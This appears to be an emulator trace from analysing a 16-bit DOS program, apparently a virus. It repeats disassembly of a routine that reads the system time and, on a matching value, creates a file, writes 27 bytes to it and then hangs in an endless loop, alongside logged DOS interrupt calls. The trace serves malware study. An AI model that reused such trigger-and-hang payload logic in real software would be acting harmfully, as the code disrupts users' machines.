0x12ac8: cmp al, 2
0x12aca: jb 0x12afa
0x12acc: lea si, word ptr [bp + 0x2cf]
2018-12-17T22:56:18.385688646Z 25 PC: 12ac8 | Get default drive
2018-12-17T22:56:18.387857773Z 44 PC: 12a9e | Get time 0x12a9e: cmp dl, 0x58
0x12aa1: jne 0x12ac4
0x12aa3: mov ah, 0x3c
0x12aa5: mov cx, 0
0x12aa8: lea dx, word ptr [bp + 0x29a]
0x12aac: int 0x21
0x12aae: xchg ax, bx
0x12aaf: mov ah, 0x40
0x12ab1: mov cx, 0x1b
0x12ab4: lea dx, word ptr [bp + 0x2aa]
0x12ab8: int 0x21
0x12aba: mov ah, 0x3e
0x12abc: lea dx, word ptr [bp + 0x29a]
0x12ac0: int 0x21
0x12ac2: jmp 0x12ac2
0x12ac4: mov ah, 0x19
0x12ac6: int 0x21
0x12ac8: cmp al, 2
0x12aca: jb 0x12afa
0x12acc: lea si, word ptr [bp + 0x2cf]
2018-12-17T22:56:18.390122646Z 25 PC: 12ac8 | Get default drive
2018-12-17T22:56:18.39185019Z 44 PC: 12a9e | Get time 0x12a9e: cmp dl, 0x58
0x12aa1: jne 0x12ac4
0x12aa3: mov ah, 0x3c
0x12aa5: mov cx, 0
0x12aa8: lea dx, word ptr [bp + 0x29a]
0x12aac: int 0x21
0x12aae: xchg ax, bx
0x12aaf: mov ah, 0x40
0x12ab1: mov cx, 0x1b
0x12ab4: lea dx, word ptr [bp + 0x2aa]
0x12ab8: int 0x21
0x12aba: mov ah, 0x3e
0x12abc: lea dx, word ptr [bp + 0x29a]
0x12ac0: int 0x21
0x12ac2: jmp 0x12ac2
0x12ac4: mov ah, 0x19
0x12ac6: int 0x21
0x12ac8: cmp al, 2
0x12aca: jb 0x12afa
0x12acc: lea si, word ptr [bp + 0x2cf]
2018-12-17T22:56:18.394519644Z 25 PC: 12ac8 | Get default drive
2018-12-17T22:56:18.396254768Z 44 PC: 12a9e | Get time 0x12a9e: cmp dl, 0x58
0x12aa1: jne 0x12ac4
0x12aa3: mov ah, 0x3c
0x12aa5: mov cx, 0
0x12aa8: lea dx, word ptr [bp + 0x29a]
0x12aac: int 0x21
0x12aae: xchg ax, bx
0x12aaf: mov ah, 0x40
0x12ab1: mov cx, 0x1b
0x12ab4: lea dx, word ptr [bp + 0x2aa]
0x12ab8: int 0x21
0x12aba: mov ah, 0x3e
0x12abc: lea dx, word ptr [bp + 0x29a]
0x12ac0: int 0x21
0x12ac2: jmp 0x12ac2
0x12ac4: mov ah, 0x19
0x12ac6: int 0x21
0x12ac8: cmp al, 2
0x12aca: jb 0x12afa
0x12acc: lea si, word ptr [bp + 0x2cf]
2018-12-17T22:56:18.398545895Z 25 PC: 12ac8 | Get default drive
2018-12-17T22:56:18.401523272Z 44 PC: 12a9e | Get time 0x12a9e: cmp dl, 0x58
0x12aa1: jne 0x12ac4
0x12aa3: mov ah, 0x3c
0x12aa5: mov cx, 0
0x12aa8: lea dx, word ptr [bp + 0x29a]
0x12aac: int 0x21
0x12aae: xchg ax, bx
0x12aaf: mov ah, 0x40
0x12ab1: mov cx, 0x1b
0x12ab4: lea dx, word ptr [bp + 0x2aa]
0x12ab8: int 0x21
0x12aba: mov ah, 0x3e
0x12abc: lea dx, word ptr [bp + 0x29a]
0x12ac0: int 0x21
0x12ac2: jmp 0x12ac2
0x12ac4: mov ah, 0x19
0x12ac6: int 0x21
0x12ac8: cmp al, 2
0x12aca: jb 0x12afa
0x12acc: lea si, word ptr [bp + 0x2cf]
2018-12-17T22:56:18.403885336Z 25 PC: 12ac8 | Get default drive
2018-12-17T22:56:18.405684879Z 44 PC: 12a9e | Get time 0x12a9e: cmp dl, 0x58
0x12aa1: jne 0x12ac4
0x12aa3: mov ah, 0x3c
0x12aa5: mov cx, 0
0x12aa8: lea dx, word ptr [bp + 0x29a]
0x12aac: int 0x21
0x12aae: xchg ax, bx
0x12aaf: mov ah, 0x40
0x12ab1: mov cx, 0x1b
0x12ab4: lea dx, word ptr [bp + 0x2aa]
0x12ab8: int 0x21
0x12aba: mov ah, 0x3e
0x12abc: lea dx, word ptr [bp + 0x29a]
0x12ac0: int 0x21
0x12ac2: jmp 0x12ac2
0x12ac4: mov ah, 0x19
0x12ac6: int 0x21
0x12ac8: cmp al, 2
0x12aca: jb 0x12afa
0x12acc: lea si, word ptr [bp + 0x2cf]
2018-12-17T22:56:18.40879838Z 25 PC: 12ac8 | Get default drive
2018-12-17T22:56:18.410278711Z 44 PC: 12a9e | Get time 0x12a9e: cmp dl, 0x58
0x12aa1: jne 0x12ac4
0x12aa3: mov ah, 0x3c
0x12aa5: mov cx, 0
0x12aa8: lea dx, word ptr [bp + 0x29a]
0x12aac: int 0x21
0x12aae: xchg ax, bx
0x12aaf: mov ah, 0x40
0x12ab1: mov cx, 0x1b
0x12ab4: lea dx, word ptr [bp + 0x2aa]
0x12ab8: int 0x21
0x12aba: mov ah, 0x3e
0x12abc: lea dx, word ptr [bp + 0x29a]
0x12ac0: int 0x21
0x12ac2: jmp 0x12ac2
0x12ac4: mov ah, 0x19
0x12ac6: int 0x21
0x12ac8: cmp al, 2
0x12aca: jb 0x12afa
0x12acc: lea si, word ptr [bp + 0x2cf]
2018-12-17T22:56:18.413285091Z 25 PC: 12ac8 | Get default drive
2018-12-17T22:56:18.416186244Z 44 PC: 12a9e | Get time 0x12a9e: cmp dl, 0x58
0x12aa1: jne 0x12ac4
0x12aa3: mov ah, 0x3c
0x12aa5: mov cx, 0
0x12aa8: lea dx, word ptr [bp + 0x29a]
0x12aac: int 0x21
0x12aae: xchg ax, bx
0x12aaf: mov ah, 0x40
0x12ab1: mov cx, 0x1b
0x12ab4: lea dx, word ptr [bp + 0x2aa]
0x12ab8: int 0x21
0x12aba: mov ah, 0x3e
0x12abc: lea dx, word ptr [bp + 0x29a]
0x12ac0: int 0x21
0x12ac2: jmp 0x12ac2
0x12ac4: mov ah, 0x19
0x12ac6: int 0x21
0x12ac8: cmp al, 2
0x12aca: jb 0x12afa
0x12acc: lea si, word ptr [bp + 0x2cf]
2018-12-17T22:56:18.418537443Z 60 PC: 12aae | Create or truncate file
2018-12-17T22:56:18.982767002Z 64 PC: 12aba | Write file or device (Write 27 bytes on handle 5)
2018-12-17T22:56:18.98783121Z 62 PC: 12ac2 | Close file